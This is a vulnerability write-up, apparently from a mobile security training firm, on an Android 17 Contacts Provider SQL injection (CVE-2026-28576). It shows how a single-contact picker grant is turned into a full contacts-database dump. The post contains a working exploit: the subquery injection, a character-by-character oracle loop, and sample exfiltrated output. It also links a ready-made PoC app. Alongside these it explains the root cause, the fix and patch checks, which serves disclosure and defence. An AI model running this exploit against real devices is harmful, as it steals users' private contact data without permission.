CVE Analysis · Android 17 Security Bulletin

Android 17 introduced a photo-picker-style contact picker so apps can read one contact without holding READ_CONTACTS. A targetSdk compat gate left the provider's new strict-SQL checks disabled for most apps, so a single-contact grant becomes a full contacts-database dump via subqueries hidden in the query selection. We built a PoC that uses the real system picker: pick one contact, read everyone's names, phone numbers, and emails.

Discovered By

No external researcher credit is listed for CVE-2026-28576 in the Android 17 Security Bulletin. The public fix variant was authored by GrapheneOS; Google's own CTS tree ships a regression test that encodes the exact threat model we reproduce below.

TL;DR

CVECVE-2026-28576 (also tracked as GHSA-ph86-9mcx-3p6r)
SeverityHigh in the bulletin; GitHub's advisory scores it CVSS v4 10.0 (Critical), which frankly feels high given the preconditions (the victim must pick a contact inside the attacker's app) and the local information-disclosure impact
ComponentContacts Provider (ContactsProvider2.queryLocal())
Root CauseENFORCE_STRICT_SQL_CHECKS (change id 484953293) gated behind @EnabledAfter(BAKLAVA): strict SQL checks silently skipped for callers with targetSdk ≤ 36
ImpactAny app with a single-contact URI grant reads the entire contacts database without READ_CONTACTS
AffectedAndroid 17, security patch level < 2026-07-01
PatchedAndroid 17 Security Bulletin

The Permission Model That Made This Possible

Historically, reading contacts required android.permission.READ_CONTACTS, enforced as a provider-level readPermission on ContactsProvider2: an app without it can't even open the provider. Android 17 added a system contact picker, modeled on the photo picker: an app with zero permissions asks the system to let the user pick a contact, and the system hands the app a URI grant: read access to exactly that contact's rows, nothing else. The provider opts into this with grantUriPermissions="true" and a <grant-uri-permission pathPattern=".*"/>.

The security invariant is supposed to be: the grant layer decides which rows you can touch. CVE-2026-28576 breaks that invariant one layer down, inside the SQL the provider builds from the caller's query parameters.

The Vulnerability

Android 17 hardened the contacts provider against SQL injection with two SQLiteQueryBuilder flags, setStrictColumns(true) and setStrictGrammar(true), applied on the data and contacts/lookup query paths. But the hardening was shipped behind a targetSdk-gated compat change instead of being made unconditional. Decompiled from the on-device ContactsProvider.apk:

// ContactsProvider2.java — canEnforceStrictSqlChecksForQueries()
private boolean canEnforceStrictSqlChecksForQueries() {
    if (ContactsPickerSessionProvider.sIsForwardedFromSessionsProvider.get())
        return true;                     // picker-forwarded calls: always strict
    if (!hasCallerOrSelfPermission(getContext(), READ_CONTACTS)
            && CompatChanges.isChangeEnabled(
                    ChangeIds.ENFORCE_STRICT_SQL_CHECKS,  // 484953293
                    Binder.getCallingUid()))              // evaluated on the CALLING app
        return true;
    return false;                        // ← targetSdk ≤ 36 callers land here
}

The change is declared in the provider's compat config with enableAfterTargetSdk="36":

<compat-change enableAfterTargetSdk="36" id="484953293"
               name="ENFORCE_STRICT_SQL_CHECKS"/>

So for any caller app targeting SDK 36 or lower, isChangeEnabled() returns false and the strict checks are skipped entirely. The official fix (public variant: GrapheneOS commit c4129a1c, matching the Android 17 bulletin) is a single deleted annotation: remove @EnabledAfter(BAKLAVA) and the checks apply to everyone:

     @ChangeId
-    @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
     public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
Compat-change gates are a security-control smell. @EnabledAfter exists so platform changes don't break old apps. But when the change is the security boundary, every legacy-target app inherits the pre-fix behavior. Auditing @ChangeId annotations in system apps is a reliable way to find this bug class.

The Injection

Once a caller is on the legacy path, the provider's remaining defenses are thin: validateSql() tokenizes the selection but its invalid-token list is empty (ContactsDatabaseHelper.DISALLOW_SUB_QUERIES = false), and the always-on setStrict(true) parenthesis-wrapping only stops clause breakouts like ') OR 1=1 --. It does nothing about balanced subqueries inside the WHERE clause.

Our PoC holds a grant for one picked contact (content://com.android.contacts/contacts/lookup/<key>/1) and issues this perfectly ordinary-looking query:

contentResolver.query(
    grantedUri,                      // one picked contact
    new String[]{"_id"},
    "1 AND (SELECT substr(data1,3,1) FROM data"
        + " WHERE mimetype_id=(SELECT _id FROM mimetypes"
        + " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
        + " ORDER BY _id LIMIT 1 OFFSET 0)='5'",
    null, null);

The provider AND-glues the attacker-controlled selection onto its own grant-scope constraint. This is the SQL that actually runs, captured on-device from an error message when one of our probes referenced a bad column:

SELECT _id FROM view_contacts
WHERE (_id=? AND lookup=?)          -- provider's part: the ENTIRE grant enforcement
  AND (1 AND (SELECT substr(data1,3,1) FROM data
              WHERE mimetype_id=(SELECT _id FROM mimetypes
                                 WHERE mimetype='vnd.android.cursor.item/phone_v2')
              ORDER BY _id LIMIT 1 OFFSET 0)='5')

The subquery doesn't care about (_id=? AND lookup=?): it reads the raw data table with every phone number, email, postal address and note of every contact on the device. If the guess is correct, the WHERE is satisfied and the granted row comes back (cursor.getCount() == 1); otherwise it comes back empty. A boolean oracle:

// one query per character guess; a phone number falls in < 1 s
for (int pos = 1; pos <= len; pos++)
    for (char ch : CHARSET)
        if (oracle("(SELECT substr(data1," + pos + ",1) FROM data WHERE ...)='" + ch + "'"))
            secret.append(ch);

Iterate LIMIT 1 OFFSET k over all rows and all mimetypes, and the single-contact grant has become a full database dump. No break-out, no comments, no stacked queries, just valid SQL the provider never checked for.

The PoC: Real System Picker, Real Grant, Real Dump

The PoC is a single app with no permissions in its manifest and targetSdk 36. Button 1 launches ACTION_PICK on ContactsContract.Contacts.CONTENT_URI: the system's contact picker opens, and the app never sees the contact list. The user picks one contact, and the system itself issues the grant:

The PoC app showing the system-issued URI grant for one picked contact, with checkUriPermission returning 0 and the single contact name it is allowed to see
The real system-issued grant: content://com.android.contacts/contacts/lookup/<key>/1, read-only, one URI. checkUriPermission == 0. The app is legitimately allowed to see exactly one contact: Alice Victim.

Button 2 runs the oracle. The device holds three victim contacts (nine data rows). Thirty seconds of yes/no questions later:

The PoC app displaying the full exfiltrated contacts database: three names, three phone numbers, and three email addresses, all read without READ_CONTACTS
Full dump through the single-contact grant: all names, phones and emails, "all of the above was read WITHOUT READ_CONTACTS".
What I am ALLOWED to see: Alice Victim  (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name  #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: alice.victim@corp.example · bob.manager@corp.example · carol.doctor@med.example

Two details make the boundary violation unmistakable. First, a stale or revoked grant produces a plain SecurityException: the grant layer itself works fine. Second, directly querying an ungranted URI is still refused. The only thing that's broken is what happens inside the provider's SQL.

The Patched Behavior

The Android 17 bulletin fix flips change 484953293 to default-enabled for all callers. You can reproduce the exact patched behavior on a vulnerable build without modifying the system: enable the change for the PoC app and the same query dies before it ever reaches SQLite:

$ adb shell am compat enable 484953293 com.poc.cve202628576
Enabled change 484953293 for com.poc.cve202628576.
The same PoC app, same system grant, but with strict SQL checks enabled: the injection is rejected with Invalid token SELECT
Same app, same system grant, strict checks on: IllegalArgumentException: Invalid token SELECT. setStrictGrammar(true) tokenizes the selection and rejects the SELECT keyword outright. This is the exact exception Google's CTS regression test asserts.

The grant still opens the provider and still returns the picked contact; only the injection is gone. That contrast is the whole story: the platform fixed the SQL layer, but only for apps that opt in via targetSdk.

Get the PoC

The full PoC is open source on GitHub, so you can reproduce this yourself on an Android 17 build with a patch level before 2026-07-01: github.com/mobilehackinglab/CVE-2026-28576-poc. The repo contains the complete source for the PoC app, a prebuilt APK, step-by-step reproduction instructions, and the captured evidence logs.

The PoC app has no permissions in its manifest. Button 1 opens the real system contact picker; button 2 dumps every contact on the device through the single-contact grant. To verify the patched behavior without flashing anything, run adb shell am compat enable 484953293 com.poc.cve202628576 and the same query dies with IllegalArgumentException: Invalid token SELECT. For research and authorized testing only.

Detection and Patch Level

You need security patch level 2026-07-01 or later:

$ adb shell getprop ro.build.version.security_patch
2026-07-05
Patch level ≠ patched. Our test device reports SPL 2026-07-05, yet is fully vulnerable, because it's an Android 17 beta image whose build predates the bulletin merge. We confirmed it by extracting the compat config from the on-device ContactsProvider.apk: the gate is still there. On beta builds, verify behavior, not just the SPL string. Android 14/15/16 are unaffected; the gating code never existed there.

Takeaways

  • Picker-based permission models move the boundary, they don't remove it. When a grant replaces a permission, the code that consumes the grant becomes security-critical. Here the grant check was fine; the query builder behind it wasn't.
  • Security fixes behind @EnabledAfter(targetSdkVersion) are partial fixes. Any attacker app picks its own targetSdk. If a compat change gates a security control, the exploitable population is "every app that targets an old SDK", i.e. nearly all of them.
  • Parenthesis-wrapping is not SQL-injection defense. setStrict(true) stopped tautology breakouts years ago, but balanced subqueries in WHERE are valid SQL. The interesting audit question is never "can I break out" but "what can I run while staying inside".
  • The provider leaked its own assembled SQL. A SQLite error message handed us the full SELECT ... FROM view_contacts WHERE (_id=? AND lookup=?) AND (...), invaluable when reverse-engineering the injection surface from a black box.

Want to build exploits like this yourself? Mobile Hacking Lab takes you from first steps to full system-app compromise:

  • Android Application Security (free): start here with app components, intents, providers, and the permission model this bug lives in
  • CAPT (Certified Android Penetration Tester): the starter certification for when you've finished the free course. Assess real Android apps and prove your skills
  • Advanced Android Hacking: go beyond single bugs and chain multiple vulnerabilities in system apps and services into full device compromise, exactly the mindset behind turning one contact grant into a full database dump

Also: automate your Android security assessments with Djini.ai, AI-powered mobile security testing that catches missing permission checks and injection surfaces automatically.

Start the Advanced Android Hacking course →

References

  • PoC source code on GitHub (mobilehackinglab/CVE-2026-28576-poc)
  • Android 17 Security Bulletin
  • CVE-2026-28576 at the National Vulnerability Database
  • GHSA-ph86-9mcx-3p6r (GitHub Advisory Database): CVSS v4 score 10.0 (Critical)
  • GrapheneOS fix commit: always enforce strict SQL checks regardless of app targetSdk
  • SQLiteQueryBuilder.setStrictGrammar() in the Android SDK reference

SQL injection in a system provider is a starter-level bug class with senior-level impact. Learn the Android permission model in the free Android Application Security course, certify with CAPT (Certified Android Penetration Tester), then learn to chain vulnerabilities across system apps in Advanced Android Hacking.